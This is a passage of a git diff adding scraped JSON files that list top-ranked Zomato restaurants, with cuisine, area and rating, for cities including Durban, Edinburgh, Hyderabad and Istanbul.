"American, Pub", "rank": "9", "location": "Festival City, Dubai", "restaurant_name": "Hard Rock Cafe", "rating": "3.7"}, {"cuisine": "American, Fast Food", "rank": "10", "location": "Dubai Mall, Dubai", "restaurant_name": "IHOP", "rating": "3.5"}, {"cuisine": "Kerala, South Indian, North   ", "rank": "11", "location": "Al Karama, Dubai", "restaurant_name": "Calicut Paragon", "rating": "3.5"}, {"cuisine": "Lounge", "rank": "12", "location": "Dubai Media City, Dubai", "restaurant_name": "Story Rooftop Lounge", "rating": "2.8"}, {"cuisine": "Indian, Sea Food", "rank": "13", "location": "Al Karama, Dubai", "restaurant_name": "Mahesh Lunch Home", "rating": "3.3"}, {"cuisine": "Pakistani, Indian", "rank": "14", "location": "TECOM, Dubai", "restaurant_name": "Hot n Spicy", "rating": "3.6"}, {"cuisine": "Desserts", "rank": "15", "location": "Al Karama, Dubai", "restaurant_name": "Bakemart Plus", "rating": "3.0"}, {"cuisine": "Fast Food", "rank": "16", "location": "Al Rigga, Dubai", "restaurant_name": "Popeyes", "rating": "3.6"}, {"cuisine": "Japanese, Thai, Chinese,   ", "rank": "17", "location": "Al Rigga, Dubai", "restaurant_name": "Intramuros - Star Metro Deira Delux...", "rating": "3.0"}, {"cuisine": "Pakistani, Chinese,   ", "rank": "18", "location": "Al Karama, Dubai", "restaurant_name": "Ravi Restaurant", "rating": "3.3"}, {"cuisine": "Indian, British", "rank": "19", "location": "Dubai Marina, Dubai", "restaurant_name": "The Rupee Room", "rating": "3.6"}, {"cuisine": "Street Food, Middle Eastern", "rank": "20", "location": "DIFC, Dubai", "restaurant_name": "Zaroob Restaurant", "rating": "3.3"}, {"cuisine": "Pizza", "rank": "21", "location": "Al Rigga, Dubai", "restaurant_name": "The Pizza Company", "rating": "3.3"}, {"cuisine": "Lebanese, Middle Eastern,   ", "rank": "22", "location": "Burj Khalifa Area, Dubai", "restaurant_name": "Reem Al Bawadi", "rating": "3.8"}, {"cuisine": "American", "rank": "23", "location": "Festival City, Dubai", "restaurant_name": "Fuddruckers", "rating": "3.6"}, {"cuisine": "Bakery, Cafe", "rank": "24", "location": "Mall of the Emirates, Dubai", "restaurant_name": "Krispy Kreme", "rating": "3.7"}, {"cuisine": "Goan, Mughlai, Chinese, Thai", "rank": "25", "location": "Al Karama, Dubai", "restaurant_name": "Eric&#039;s", "rating": "3.6"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/durban.json b/pyscrapper/zomato_top_restaurants/output/durban.json
new file mode 100755
index 00000000..9f3497e4
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/durban.json
@@ -0,0 +1 @@
+[{"cuisine": "Pub", "rank": "1", "location": "Bluff, Durban", "restaurant_name": "Lords &amp; Legends", "rating": "3.3"}, {"cuisine": "Asian, Thai", "rank": "2", "location": "Windermere, Durban", "restaurant_name": "Bangkok Wok", "rating": "3.2"}, {"cuisine": "Italian", "rank": "3", "location": "Windermere, Durban", "restaurant_name": "Spiga D&#039;oro", "rating": "3.5"}, {"cuisine": "Durban, African", "rank": "4", "location": "Umhlanga, Durban", "restaurant_name": "Press Club", "rating": "3.3"}, {"cuisine": "Indian", "rank": "5", "location": "Windermere, Durban", "restaurant_name": "Kashmir Restaurant", "rating": "3.0"}, {"cuisine": "Continental, Durban", "rank": "6", "location": "Morningside, Durban", "restaurant_name": "The Address", "rating": "3.0"}, {"cuisine": "Sea Food", "rank": "7", "location": "Durban Central, Durban", "restaurant_name": "The Oyster Bar", "rating": "3.0"}, {"cuisine": "Contemporary", "rank": "8", "location": "Windermere, Durban", "restaurant_name": "Velvet Lounge", "rating": "3.3"}, {"cuisine": "Thai", "rank": "9", "location": "Umhlanga, Durban", "restaurant_name": "Phuket Thai", "rating": "3.1"}, {"cuisine": "Indian", "rank": "10", "location": "Musgrave, Durban", "restaurant_name": "Little India", "rating": "3.3"}, {"cuisine": "Pub", "rank": "11", "location": "Umhlanga, Durban", "restaurant_name": "Harvey&#039;s Restaurant", "rating": "3.2"}, {"cuisine": "Chinese, Japanese", "rank": "12", "location": "Broadway, Durban", "restaurant_name": "Speak Sushi", "rating": "3.0"}, {"cuisine": "Cafe", "rank": "13", "location": "Musgrave, Durban", "restaurant_name": "Market", "rating": "3.5"}, {"cuisine": "Portuguese", "rank": "14", "location": "Umhlanga, Durban", "restaurant_name": "Joita&#039;s", "rating": "3.0"}, {"cuisine": "Asian", "rank": "15", "location": "Umhlanga, Durban", "restaurant_name": "Kung Thai", "rating": "3.1"}, {"cuisine": "Desserts", "rank": "16", "location": "Windermere, Durban", "restaurant_name": "Ci Gusta", "rating": "3.6"}, {"cuisine": "Spanish", "rank": "17", "location": "Umhlanga, Durban", "restaurant_name": "Vicky Christinas", "rating": "3.6"}, {"cuisine": "Mexican, Fast Food", "rank": "18", "location": "North Beach, Durban", "restaurant_name": "Mochachos", "rating": "3.2"}, {"cuisine": "Indian", "rank": "19", "location": "Musgrave, Durban", "restaurant_name": "Palki", "rating": "3.2"}, {"cuisine": "Sea Food, Fast Food", "rank": "20", "location": "Windermere, Durban", "restaurant_name": "Fishaways", "rating": "3.7"}, {"cuisine": "Sea Food, Grill House", "rank": "21", "location": "Musgrave, Durban", "restaurant_name": "Jimmy&#039;s Killer Prawns", "rating": "3.2"}, {"cuisine": "Indian", "rank": "22", "location": "Broadway, Durban", "restaurant_name": "Panaji Restaurant", "rating": "3.1"}, {"cuisine": "Sea Food", "rank": "23", "location": "Umhlanga, Durban", "restaurant_name": "Ocean Basket", "rating": "3.3"}, {"cuisine": "Continental", "rank": "24", "location": "Durban Central, Durban", "restaurant_name": "Centre Court", "rating": "3.0"}, {"cuisine": "Indian", "rank": "25", "location": "North Beach, Durban", "restaurant_name": "My Diner&#039;s", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/edinburgh.json b/pyscrapper/zomato_top_restaurants/output/edinburgh.json
new file mode 100755
index 00000000..2dcc7317
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/edinburgh.json
@@ -0,0 +1 @@
+[{"cuisine": "Coffee and Tea, Cafe", "rank": "1", "location": "New Town, Edinburgh", "restaurant_name": "Eteaket", "rating": "3.1"}, {"cuisine": "Sea Food, British, Lounge", "rank": "2", "location": "Leith, Edinburgh", "restaurant_name": "The Ship on the Shore", "rating": "-"}, {"cuisine": "British, International, Pub", "rank": "3", "location": "Old Town, Edinburgh", "restaurant_name": "Maxie&#039;s", "rating": "3.4"}, {"cuisine": "Pub", "rank": "4", "location": "West End, Edinburgh", "restaurant_name": "Lebowskis", "rating": "3.6"}, {"cuisine": "British, Scottish, Sea Food", "rank": "5", "location": "Old Town, Edinburgh", "restaurant_name": "The Witchery &amp; The Secret Garden", "rating": "3.6"}, {"cuisine": "Pub, Scottish, British", "rank": "6", "location": "Dalry, Edinburgh", "restaurant_name": "The Caley Sample Room", "rating": "3.5"}, {"cuisine": "Indian", "rank": "7", "location": "Leith, Edinburgh", "restaurant_name": "Mithas", "rating": "3.6"}, {"cuisine": "British", "rank": "8", "location": "New Town, Edinburgh", "restaurant_name": "The Restaurant - Tiger Lily", "rating": "-"}, {"cuisine": "Scottish, European", "rank": "9", "location": "Leith, Edinburgh", "restaurant_name": "The Plumed Horse", "rating": "3.5"}, {"cuisine": "British, French, Scottish", "rank": "10", "location": "Old Town, Edinburgh", "restaurant_name": "Castle Terrace", "rating": "3.4"}, {"cuisine": "Pub, Scottish", "rank": "11", "location": "Old Town, Edinburgh", "restaurant_name": "Last Drop Tavern (Nicholson&#039;s)", "rating": "3.3"}, {"cuisine": "Grill", "rank": "12", "location": "Old Town, Edinburgh", "restaurant_name": "The Hanging Bat", "rating": "-"}, {"cuisine": "Pub, Scottish, British", "rank": "13", "location": "Old Town, Edinburgh", "restaurant_name": "The Inn on the Mile", "rating": "-"}, {"cuisine": "Scottish", "rank": "14", "location": "Old Town, Edinburgh", "restaurant_name": "Stac Polly", "rating": "3.6"}, {"cuisine": "Pub, Swedish", "rank": "15", "location": "Leith, Edinburgh", "restaurant_name": "Boda Bar", "rating": "3.3"}, {"cuisine": "Scottish, Brasserie", "rank": "16", "location": "New Town, Edinburgh", "restaurant_name": "The Honours", "rating": "-"}, {"cuisine": "Scottish", "rank": "17", "location": "New Town, Edinburgh", "restaurant_name": "Edinburgh Larder", "rating": "3.2"}, {"cuisine": "Mexican", "rank": "18", "location": "Stockbridge, Edinburgh", "restaurant_name": "Blue Parrot Cantina", "rating": "-"}, {"cuisine": "Scottish, European", "rank": "19", "location": "New Town, Edinburgh", "restaurant_name": "Calistoga", "rating": "-"}, {"cuisine": "Pub, Scottish", "rank": "20", "location": "Old Town, Edinburgh", "restaurant_name": "Red Squirrel", "rating": "-"}, {"cuisine": "Japanese, Chinese, Pan Asian", "rank": "21", "location": "New Town, Edinburgh", "restaurant_name": "Cosmo", "rating": "-"}, {"cuisine": "British, French", "rank": "22", "location": "Leith, Edinburgh", "restaurant_name": "The Kitchin", "rating": "-"}, {"cuisine": "British, Grill, European", "rank": "23", "location": "New Town, Edinburgh", "restaurant_name": "The Rosehip", "rating": "-"}, {"cuisine": "Italian", "rank": "24", "location": "Broughton, Edinburgh", "restaurant_name": "Vittoria", "rating": "3.5"}, {"cuisine": "Pub, Scottish, Burger, British", "rank": "25", "location": "Old Town, Edinburgh", "restaurant_name": "56 North", "rating": "-"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/glasgow.json b/pyscrapper/zomato_top_restaurants/output/glasgow.json
new file mode 100755
index 00000000..2f943da7
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/glasgow.json
@@ -0,0 +1 @@
+[{"cuisine": "British", "rank": "1", "location": "City Centre, Glasgow", "restaurant_name": "The Living Room", "rating": "3.4"}, {"cuisine": "Italian", "rank": "2", "location": "City Centre, Glasgow", "restaurant_name": "La Lanterna", "rating": "3.6"}, {"cuisine": "Scottish", "rank": "3", "location": "City Centre, Glasgow", "restaurant_name": "Two Fat Ladies At the Buttery", "rating": "3.7"}, {"cuisine": "Sea Food", "rank": "4", "location": "Merchant City, Glasgow", "restaurant_name": "Cafe Gandolfi", "rating": "-"}, {"cuisine": "Indian", "rank": "5", "location": "West End, Glasgow", "restaurant_name": "Mother India", "rating": "3.4"}, {"cuisine": "Cafe, Brasserie, Coffee and   ", "rank": "6", "location": "Crosshill, Glasgow", "restaurant_name": "Tapa Coffeehouse", "rating": "-"}, {"cuisine": "Pub", "rank": "7", "location": "West End, Glasgow", "restaurant_name": "Little Urban Achievers Club", "rating": "3.5"}, {"cuisine": "Scottish, French, Italian", "rank": "8", "location": "Pollokshields, Glasgow", "restaurant_name": "The Bungo", "rating": "-"}, {"cuisine": "Pub", "rank": "9", "location": "City Centre, Glasgow", "restaurant_name": "Nice N Sleazy", "rating": "3.3"}, {"cuisine": "Japanese", "rank": "10", "location": "City Centre, Glasgow", "restaurant_name": "Nippon Kitchen", "rating": "3.4"}, {"cuisine": "Scottish", "rank": "11", "location": "Crosshill, Glasgow", "restaurant_name": "Cookie", "rating": "3.2"}, {"cuisine": "Cafe", "rank": "12", "location": "West End, Glasgow", "restaurant_name": "St Louis", "rating": "3.2"}, {"cuisine": "Cafe", "rank": "13", "location": "Shawlands, Glasgow", "restaurant_name": "Eat Cafe", "rating": "-"}, {"cuisine": "Cafe, Desserts", "rank": "14", "location": "West End, Glasgow", "restaurant_name": "Coffee Chocolate &amp; Tea", "rating": "3.2"}, {"cuisine": "Pub", "rank": "15", "location": "City Centre, Glasgow", "restaurant_name": "Universal Bar &amp; Restaurant", "rating": "3.3"}, {"cuisine": "Sea Food, Latin American", "rank": "16", "location": "West End, Glasgow", "restaurant_name": "Cottiers Bar and Restaurant", "rating": "3.3"}, {"cuisine": "Italian", "rank": "17", "location": "City Centre, Glasgow", "restaurant_name": "Amarone", "rating": "3.3"}, {"cuisine": "British, Pub", "rank": "18", "location": "City Centre, Glasgow", "restaurant_name": "The Butterfly &amp; The Pig", "rating": "3.3"}, {"cuisine": "Italian", "rank": "19", "location": "West End, Glasgow", "restaurant_name": "Panevino", "rating": "-"}, {"cuisine": "Scottish", "rank": "20", "location": "West End, Glasgow", "restaurant_name": "Stravaigin", "rating": "3.3"}, {"cuisine": "Cafe", "rank": "21", "location": "Shawlands, Glasgow", "restaurant_name": "Biscuit", "rating": "3.2"}, {"cuisine": "Greek", "rank": "22", "location": "City Centre, Glasgow", "restaurant_name": "Athena", "rating": "3.3"}, {"cuisine": "American, Italian,   ", "rank": "23", "location": "Renfrew, Glasgow", "restaurant_name": "Tony Roma&#039;s", "rating": "3.4"}, {"cuisine": "Indian", "rank": "24", "location": "Merchant City, Glasgow", "restaurant_name": "The Dhabba", "rating": "3.5"}, {"cuisine": "Cafe, British", "rank": "25", "location": "Pollokshields, Glasgow", "restaurant_name": "Art Lovers Cafe", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/guwahati.json b/pyscrapper/zomato_top_restaurants/output/guwahati.json
new file mode 100755
index 00000000..a2c47f87
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/guwahati.json
@@ -0,0 +1 @@
+[{"cuisine": "North Indian, Continental,   ", "rank": "1", "location": "Ganeshguri, Guwahati", "restaurant_name": "Terra Mayaa Restaurant and Lounge", "rating": "3.4"}, {"cuisine": "Chinese", "rank": "2", "location": "Ganeshguri, Guwahati", "restaurant_name": "Mainland China", "rating": "4.2"}, {"cuisine": "Mexican, Thai, Asian,   ", "rank": "3", "location": "Zoo Tiniali, Guwahati", "restaurant_name": "Shanghai Salsa", "rating": "3.7"}, {"cuisine": "Chinese", "rank": "4", "location": "Ulubari, Guwahati", "restaurant_name": "Yo! China", "rating": "3.3"}, {"cuisine": "Pub", "rank": "5", "location": "Six Mile, Guwahati", "restaurant_name": "Cafe Hendrix", "rating": "3.9"}, {"cuisine": "North Indian, Mughlai", "rank": "6", "location": "Ganeshguri, Guwahati", "restaurant_name": "Machaan", "rating": "3.9"}, {"cuisine": "Bakery", "rank": "7", "location": "Uzan Bazaar, Guwahati", "restaurant_name": "Loyans", "rating": "3.4"}, {"cuisine": "Cafe", "rank": "8", "location": "Chandmari, Guwahati", "restaurant_name": "Strawberry Fields", "rating": "4.2"}, {"cuisine": "Lounge, Pub", "rank": "9", "location": "Khanapara, Guwahati", "restaurant_name": "Bar and Lounge - Greenwood Resort", "rating": "3.4"}, {"cuisine": "Fast Food", "rank": "10", "location": "Ganeshguri, Guwahati", "restaurant_name": "Grill Republica", "rating": "4.0"}, {"cuisine": "Naga", "rank": "11", "location": "Beltola, Guwahati", "restaurant_name": "Naga Kitchen", "rating": "3.6"}, {"cuisine": "Pizza, Continental,   ", "rank": "12", "location": "Ulubari, Guwahati", "restaurant_name": "Pizzeria", "rating": "3.6"}, {"cuisine": "Assamese", "rank": "13", "location": "Ulubari, Guwahati", "restaurant_name": "Maihang", "rating": "3.8"}, {"cuisine": "Chinese", "rank": "14", "location": "Zoo Tiniali, Guwahati", "restaurant_name": "Chung Fa", "rating": "3.7"}, {"cuisine": "North Indian, Chinese", "rank": "15", "location": "Bhangagarh, Guwahati", "restaurant_name": "The Yellow Chilli", "rating": "3.4"}, {"cuisine": "Chinese, Mughlai", "rank": "16", "location": "Dispur, Guwahati", "restaurant_name": "Spice Route", "rating": "3.2"}, {"cuisine": "Bakery, Cafe", "rank": "17", "location": "Ulubari, Guwahati", "restaurant_name": "Patisserie Opera", "rating": "3.6"}, {"cuisine": "Chinese", "rank": "18", "location": "Chandmari, Guwahati", "restaurant_name": "China Town", "rating": "3.6"}, {"cuisine": "Assamese, North Indian,   ", "rank": "19", "location": "Chandmari, Guwahati", "restaurant_name": "Blue Ginger", "rating": "4.3"}, {"cuisine": "Chinese", "rank": "20", "location": "Ganeshguri, Guwahati", "restaurant_name": "Red Hot Chilli Pepper", "rating": "3.7"}, {"cuisine": "Assamese", "rank": "21", "location": "Ulubari, Guwahati", "restaurant_name": "Khorikaa Restaurant", "rating": "3.4"}, {"cuisine": "Cafe, Italian, Chinese", "rank": "22", "location": "Uzan Bazaar, Guwahati", "restaurant_name": "Brown Bean Cafe &amp; Restaurant", "rating": "3.4"}, {"cuisine": "North Indian, Chinese", "rank": "23", "location": "Ganeshguri, Guwahati", "restaurant_name": "The Dhaba", "rating": "3.0"}, {"cuisine": "Chinese, North Indian, Mughlai", "rank": "24", "location": "Dispur, Guwahati", "restaurant_name": "Recipes", "rating": "3.5"}, {"cuisine": "Bengali", "rank": "25", "location": "Zoo Tiniali, Guwahati", "restaurant_name": "Crackling Mustard", "rating": "3.3"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/hamilton.json b/pyscrapper/zomato_top_restaurants/output/hamilton.json
new file mode 100755
index 00000000..7503e895
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/hamilton.json
@@ -0,0 +1 @@
+[{"cuisine": "Mexican", "rank": "1", "location": "Hamilton Central, Hamilton", "restaurant_name": "The Flying Burrito Brothers", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/hyderabad.json b/pyscrapper/zomato_top_restaurants/output/hyderabad.json
new file mode 100755
index 00000000..df4e3289
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/hyderabad.json
@@ -0,0 +1 @@
+[{"cuisine": "European, Mediterranean,   ", "rank": "1", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "AB&#039;s - Absolute Barbecues", "rating": "4.0"}, {"cuisine": "European, North Indian,   ", "rank": "2", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Barbeque Nation", "rating": "4.0"}, {"cuisine": "Mughlai, North Indian, Chinese", "rank": "3", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Exotica", "rating": "3.6"}, {"cuisine": "Lounge, Continental", "rank": "4", "location": "Somajiguda, Hyderabad", "restaurant_name": "Kismet - The Park", "rating": "3.6"}, {"cuisine": "European, Italian,   ", "rank": "5", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "Olive Bistro", "rating": "3.8"}, {"cuisine": "Lounge", "rank": "6", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "Over The Moon - Hotel Daspalla", "rating": "3.1"}, {"cuisine": "Lounge, Pub, North Indian,   ", "rank": "7", "location": "Begumpet, Hyderabad", "restaurant_name": "Bottles &amp; Chimney", "rating": "3.5"}, {"cuisine": "Andhra, Hyderabadi, North   ", "rank": "8", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "Ulavacharu", "rating": "3.3"}, {"cuisine": "Pub, North Indian, Continental", "rank": "9", "location": "Begumpet, Hyderabad", "restaurant_name": "10 Downing Street", "rating": "3.6"}, {"cuisine": "Pub", "rank": "10", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "Rain", "rating": "3.4"}, {"cuisine": "Italian", "rank": "11", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Peperoncino", "rating": "3.6"}, {"cuisine": "Street Food, Gujarati", "rank": "12", "location": "Hitech City, Hyderabad", "restaurant_name": "Village - The Soul Of India", "rating": "3.5"}, {"cuisine": "Hyderabadi", "rank": "13", "location": "Falaknuma, Hyderabad", "restaurant_name": "Adaa - Taj Falaknuma", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "14", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "36 Chhattees BBQ", "rating": "3.3"}, {"cuisine": "Chinese, North Indian, Andhra", "rank": "15", "location": "Madhapur, Hyderabad", "restaurant_name": "Beach House", "rating": "3.6"}, {"cuisine": "North Indian, Chinese,   ", "rank": "16", "location": "Banjara Hills, Hyderabad", "restaurant_name": "The Buffet", "rating": "3.3"}, {"cuisine": "North Indian, Mughlai", "rank": "17", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Khaan Saab", "rating": "3.7"}, {"cuisine": "Pub, American", "rank": "18", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Hard Rock Cafe", "rating": "3.9"}, {"cuisine": "Biryani, North Indian, Chinese", "rank": "19", "location": "Hitech City, Hyderabad", "restaurant_name": "Paradise Food Court", "rating": "3.4"}, {"cuisine": "North Indian, Street Food,   ", "rank": "20", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Bikanervala", "rating": "3.7"}, {"cuisine": "Italian", "rank": "21", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "Tabula Rasa", "rating": "4.0"}, {"cuisine": "Italian, American, Mexican", "rank": "22", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Indijoe", "rating": "3.6"}, {"cuisine": "Italian, North Indian", "rank": "23", "location": "Banjara Hills, Hyderabad", "restaurant_name": "Mozzarella", "rating": "3.5"}, {"cuisine": "Lounge", "rank": "24", "location": "Hitech City, Hyderabad", "restaurant_name": "The Sky Lounge - Hotel Avasa", "rating": "3.7"}, {"cuisine": "European, Mediterranean,   ", "rank": "25", "location": "Jubilee Hills, Hyderabad", "restaurant_name": "N Grill", "rating": "3.5"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/indore.json b/pyscrapper/zomato_top_restaurants/output/indore.json
new file mode 100755
index 00000000..9c0d1afe
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/indore.json
@@ -0,0 +1 @@
+[{"cuisine": "Pub, Chinese, North Indian,   ", "rank": "1", "location": "Vijay Nagar, Indore", "restaurant_name": "O2 Disc &amp; Lounge", "rating": "3.4"}, {"cuisine": "North Indian", "rank": "2", "location": "Vijay Nagar, Indore", "restaurant_name": "Kebabs Ville -  Sayaji Hotel", "rating": "4.3"}, {"cuisine": "Lounge, Continental,   ", "rank": "3", "location": "Vijay Nagar, Indore", "restaurant_name": "10 Downing Street", "rating": "3.6"}, {"cuisine": "Chinese, Italian,   ", "rank": "4", "location": "Vijay Nagar, Indore", "restaurant_name": "Cafe Terazza", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "5", "location": "RNT Marg, Indore", "restaurant_name": "Chasers Pub &amp; Restaurant", "rating": "3.4"}, {"cuisine": "North Indian, Chinese, Mughlai", "rank": "6", "location": "Old Palasia, Indore", "restaurant_name": "Nafees Restaurant", "rating": "3.7"}, {"cuisine": "Cafe, Fast Food, Italian,   ", "rank": "7", "location": "HIG-LIG, Indore", "restaurant_name": "Cafe Coco Cabana", "rating": "3.8"}, {"cuisine": "Lounge, North Indian, Chinese", "rank": "8", "location": "Vijay Nagar, Indore", "restaurant_name": "Sheesha Sky Lounge", "rating": "3.8"}, {"cuisine": "North Indian", "rank": "9", "location": "Sarwate Bus Stand, Indore", "restaurant_name": "Hotel Guru Kripa", "rating": "3.8"}, {"cuisine": "Cafe", "rank": "10", "location": "New Palasia, Indore", "restaurant_name": "The Chai Bar", "rating": "3.6"}, {"cuisine": "North Indian, South Indian,   ", "rank": "11", "location": "Vijay Nagar, Indore", "restaurant_name": "The Creative Kitchen - Radisson Blu...", "rating": "3.9"}, {"cuisine": "North Indian, Chinese,   ", "rank": "12", "location": "Vijay Nagar, Indore", "restaurant_name": "Raj Vilas", "rating": "3.1"}, {"cuisine": "Fast Food, Pizza", "rank": "13", "location": "Vijay Nagar, Indore", "restaurant_name": "Smokin&#039; Joe&#039;s", "rating": "3.2"}, {"cuisine": "North Indian, Chinese, Italian", "rank": "14", "location": "Vijay Nagar, Indore", "restaurant_name": "Square - Sayaji Hotel", "rating": "3.8"}, {"cuisine": "Lounge", "rank": "15", "location": "Vijay Nagar, Indore", "restaurant_name": "Quorum - Sayaji Hotel", "rating": "3.5"}, {"cuisine": "North Indian, Chinese, Italian", "rank": "16", "location": "Vijay Nagar, Indore", "restaurant_name": "Mud Oven", "rating": "3.3"}, {"cuisine": "Lounge, Chinese, Mughlai", "rank": "17", "location": "Vijay Nagar, Indore", "restaurant_name": "Level 3", "rating": "3.1"}, {"cuisine": "Pub, North Indian, Chinese,   ", "rank": "18", "location": "Vijay Nagar, Indore", "restaurant_name": "On the Rocks Pub and Disc", "rating": "3.9"}, {"cuisine": "Street Food", "rank": "19", "location": "New Palasia, Indore", "restaurant_name": "Chandni Chowk", "rating": "4.1"}, {"cuisine": "North Indian, Chinese", "rank": "20", "location": "New Palasia, Indore", "restaurant_name": "Alav", "rating": "3.7"}, {"cuisine": "North Indian, Mughlai, Afghani", "rank": "21", "location": "By Pass Road (North), Indore", "restaurant_name": "Khanabadosh", "rating": "3.5"}, {"cuisine": "North Indian, Italian,   ", "rank": "22", "location": "Vijay Nagar, Indore", "restaurant_name": "Ambrosia - Fortune Landmark", "rating": "3.7"}, {"cuisine": "Lounge, North Indian,   ", "rank": "23", "location": "Vijay Nagar, Indore", "restaurant_name": "Delhi Grill", "rating": "3.5"}, {"cuisine": "Chinese, North Indian", "rank": "24", "location": "Vijay Nagar, Indore", "restaurant_name": "The Blue - Restaurant and Lounge", "rating": "3.1"}, {"cuisine": "Cafe, Fast Food, Italian,   ", "rank": "25", "location": "New Palasia, Indore", "restaurant_name": "Mangosteen Cafe", "rating": "3.7"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/istanbul.json b/pyscrapper/zomato_top_restaurants/output/istanbul.json
new file mode 100755
index 00000000..1e63d4ce
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/istanbul.json
@@ -0,0 +1 @@
+[{"cuisine": "Italyan", "rank": "1", "location": "Cihangir, Beyo\u011flu, \u0130stanbul", "restaurant_name": "Mona Cihangir", "rating": "3.6"}, {"cuisine": "D  nya Mutfa    ", "rank": "2", "location": "Etiler, Be\u015fikta\u015f, \u0130stanbul", "restaurant_name": "Limonata Etiler", "rating": "3.5"}, {"cuisine": "Pub", "rank": "3", "location": "Kuru\u00e7e\u015fme, \u0130stanbul", "restaurant_name": "Members", "rating": "3.2"}, {"cuisine": "Italyan", "rank": "4", "location": "Gayrettepe, \u0130stanbul", "restaurant_name": "Eataly", "rating": "3.9"}, {"cuisine": "D  nya Mutfa    ", "rank": "5", "location": "Karak\u00f6y, \u0130stanbul", "restaurant_name": "Fosil Lounge &amp; Bar", "rating": "3.2"}, {"cuisine": "  ngiliz, Frans  z", "rank": "6", "location": "Gayrettepe, \u0130stanbul", "restaurant_name": "Tom&#039;s Kitchen", "rating": "3.5"}, {"cuisine": "Uluslararas  , Pub", "rank": "7", "location": "Ortak\u00f6y, \u0130stanbul", "restaurant_name": "Anjelique", "rating": "3.6"}, {"cuisine": "Pub", "rank": "8", "location": "Taksim, \u0130stanbul", "restaurant_name": "Jolly Joker", "rating": "3.3"}, {"cuisine": "T  rk", "rank": "9", "location": "Karak\u00f6y, \u0130stanbul", "restaurant_name": "Naif", "rating": "3.8"}, {"cuisine": "D  nya Mutfa    , T  rk,   ", "rank": "10", "location": "Kuru\u00e7e\u015fme, \u0130stanbul", "restaurant_name": "Sortie Restaurant", "rating": "3.7"}, {"cuisine": "D  nya Mutfa    , Italyan", "rank": "11", "location": "Barbaros, Ata\u015fehir, \u0130stanbul", "restaurant_name": "Hello Kitty World Cafe &amp; Restaurant", "rating": "3.3"}, {"cuisine": "  in, Japon, T  rk, Asya", "rank": "12", "location": "Etiler, Be\u015fikta\u015f, \u0130stanbul", "restaurant_name": "Teppanyaki Alaturka", "rating": "3.5"}, {"cuisine": "Italyan, T  rk", "rank": "13", "location": "Kuru\u00e7e\u015fme, \u0130stanbul", "restaurant_name": "Reina", "rating": "3.5"}, {"cuisine": "T  rk, Balik", "rank": "14", "location": "Ma\u00e7ka, \u0130stanbul", "restaurant_name": "Cahide C\u00fcmb\u00fc\u015f", "rating": "3.5"}, {"cuisine": "Meyhane, T  rk", "rank": "15", "location": "Karak\u00f6y, \u0130stanbul", "restaurant_name": "Mana", "rating": "3.5"}, {"cuisine": "Pub", "rank": "16", "location": "Taksim, \u0130stanbul", "restaurant_name": "Hypnos", "rating": "3.7"}, {"cuisine": "  spanya, Italyan, Fas", "rank": "17", "location": "Kuru\u00e7e\u015fme, \u0130stanbul", "restaurant_name": "La Mancha", "rating": "4.2"}, {"cuisine": "     Anadolu, Do  u Anadolu", "rank": "18", "location": "Taksim, \u0130stanbul", "restaurant_name": "Raika - The Marmara Taksim", "rating": "3.9"}, {"cuisine": "T  rk, D  nya Mutfa    ", "rank": "19", "location": "Cafera\u011fa, \u0130stanbul", "restaurant_name": "360 Istanbul East Restaurant Caf\u00e9 &amp;...", "rating": "3.4"}, {"cuisine": "Deniz   r  nleri", "rank": "20", "location": "Yal\u0131, Maltepe, \u0130stanbul", "restaurant_name": "Port Bozcaada", "rating": "3.0"}, {"cuisine": "D  nya Mutfa    ", "rank": "21", "location": "Suadiye, \u0130stanbul", "restaurant_name": "Suadiye Meyhanesi by Vintro", "rating": "3.2"}, {"cuisine": "Pub, D  nya Mutfa    , T  rk", "rank": "22", "location": "Taksim, \u0130stanbul", "restaurant_name": "Mama Shelter", "rating": "3.8"}, {"cuisine": "Meyhane, Yunan", "rank": "23", "location": "Balat, \u0130stanbul", "restaurant_name": "Barba Vasilis", "rating": "3.9"}, {"cuisine": "D  nya Mutfa    , Italyan,   ", "rank": "24", "location": "Taksim, \u0130stanbul", "restaurant_name": "M\u00fcrekkep", "rating": "3.2"}, {"cuisine": "D  nya Mutfa    ", "rank": "25", "location": "Ortak\u00f6y, \u0130stanbul", "restaurant_name": "Zuma - Radisson Blu Bosphorus", "rating": "4.1"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/jaipur.json b/pyscrapper/zomato_top_restaurants/output/jaipur.json
new file mode 100755
index 00000000..f07ee259
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/jaipur.json
@@ -0,0 +1 @@
